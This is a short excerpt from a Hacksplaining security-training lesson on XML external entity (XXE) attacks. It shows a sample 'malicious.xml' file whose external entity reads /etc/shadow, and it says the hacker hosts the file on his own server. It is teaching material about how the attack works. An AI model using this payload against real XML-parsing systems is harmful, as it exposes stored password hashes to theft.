Hacksplaining Log in

Want everyone on your software team to learn this? Free 14-day trial.

Train my team

He then hosts the malicious XML file on his own server as part of the trap.
The hacker executing his attack.
malicious.xml
XML 
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xrds [
<!ENTITY passwords SYSTEM "file:///etc/shadow">
]>
<xrds>
  &passwords;
</xrds>